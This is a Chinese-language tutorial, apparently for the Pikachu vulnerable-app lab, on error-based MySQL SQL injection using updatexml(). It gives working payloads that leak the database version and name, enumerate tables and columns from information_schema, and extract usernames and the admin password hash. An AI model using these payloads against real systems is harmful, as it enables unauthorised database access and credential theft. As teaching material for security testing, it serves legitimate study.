Sql-Inject漏洞手动测试-基于函数报错的信息获取
? 常用的报错函数updatexml()、extractvalue()、floor()
在运行的时候,去构造一些报错的点,它可以把相关的信息给报出来,我们就可以通过报错信息,获取到指定的内容
? 基于函数报错的信息获取(select/insert/update/delete)
基于报错的信息获取
技巧思路: 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
因为这些函数在运行的时候,跟我们指定的表达式,或者是传进去的参数,不符合它的要求的话,它就会报错,同时,在报错之前,它会把我们传进去的表达式,去执行一下,然后把执行的结果,作为报错的内容,执行出来
select/insert/update/delete都可以使用报错来获取信息。
背景条件: 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
因为很多时候,程序员在写代码的时候,会把错误信息给屏蔽掉,或者是做标准化处理,就是说,所有的报错,它都会返回一个固定的报错页面给你,或者说,根本就不返回错误,到前端页面上面来
基于报错的信息获取-三个常用的用来报错的函数
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。 extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor(): MYSQL中用来取整的函数。
小数的函数,取它整数的部分
基于报错的信息获取-三个常用的用来报错的函数-updatexml()
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。 语法:UPDATEXML (xml_document, XPathstring, new_value)
Xpath定位必须是有效的,否则则会发生错误
第一个参数:fiedname是String格式,为表中的字段名。文档的名称
第二个参数:XPathstring (Xpath格式的字符串)。对xml文档中的某个地方进行更新,它是指定一个位置
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则则会发生错误
XPathstring传进去的是个表达式,它会先把这个表达式执行之后,在把执行的结果,作为报错的内容,给报出来
所以我们才会用updatexml这个方法,来利用这个sql注入漏洞
Select下报错的利用演示
我们用字符型注入来做演示,在做基于报错的方法,获取数据的时候,这个点一定要有报错信息返回
所以说,我们首先要确认一下,这个地方是不是报错型的sql注入
当我们构造语法的时候,发现有报错返回到前端来,这个地方是符合我们条件的,
'
这个时候,我们用updataxml来构造一个报错,通过报错信息,获取相关的数据,
kobe' and updatexml(1,version(),0)#
updataxml函数,第一个参数,指定xml文档表的子段名称,第二个,指定你要替换的位置,第三个就是新的值
这个时候,我们三个传进的值,都是错误的,第一个是数值,位置不存在的,最后一个零,是我们要替换的值,前面都不存在,把它替换为零,其实没有什么意义,关键点在于中间这个值,在updatexml里面,中间这个值,也可以用表达式写进去,也就是说,当我们写一个表达式进去,它会把它当作一个表达式去执行,执行之后,在把他当作报错的结果,返回出来,因为执行之后,发现它不是一个有效的updatexml,它会报错,然后把报错的内容返回出来,我们来试一下
发现这个地方来了个报错,但它并没有完整的把version的版本号报出来,那我们就要对函数的报错内容进行处理,它才会打出来,否则它会把一部分的内容,给吃掉,我们对payload进行二次改造,
kobe' and updatexml(1,concat(0x7e,version()),0)#
concat,把存进去的参数,组合成一个完整的字符串,然后打印出来,concat可以把前面的字符串跟后面的表达式,执行的结果,构成一个字符串,把它拼起来,然后组成一个完整的字符串,得到一个结果
0x7e是~这个符号的16进制,这个地方也可以用其它符号的16进制,它主要是为了避免我们的信息,不被报错内容吃掉,然后拼接成完整的信息,显示出来
这样子,我们就通过刚刚的payload,获取到了对应的数据库版本信息
理解了这个逻辑之后,实际上,在去执行进一步的操作,也就比较容易理解了
我们现在做的是,把version()这个表达式,替换成database(),就可以获取到数据库的名称,
kobe' and updatexml(1,concat(0x7e,database()),0)#
同样的,我们也可以把中间的database()表达式,换成select查询,
#报错只能一次显示一行
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
这个函数的报错内容显示是多行的话,它是不会显示出来的,它只能显示一行
我们可以在后面加个limit 0,1,
可以使用limit一次一次进行获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
如果我们要得到第二个表的名称,我们可以把0换成1,
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 1,1)),0)#
依次类推,我们就可以的到所有表的名称,那有了表的名称之后,那跟我们之前的操作是一样的,有了表之后,我们可以通过表来获取字段,
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
通过步长一步一步的来取,我们可以把所有的字段都给取出来,
获取到列名称之后,再来获取数据
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
获取到列名称之后,再来获取数据
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
这样就得到了加密的密文,讲到了这里大家也应该明白了,什么叫通过构造报错获取相关的信息
基于报错的信息获取-select下基于updatexml()报错获取信息
select下使用updatexml()报错举例: http://x.x.x.x/ant/vulnerabilities/sqlinject/sqlinject_str.php
Test payload:kobe’ and updatexml(1,concat(0x7e,version()),0)#
报错输出:XPATH syntax error: ‘~5.6.21’
|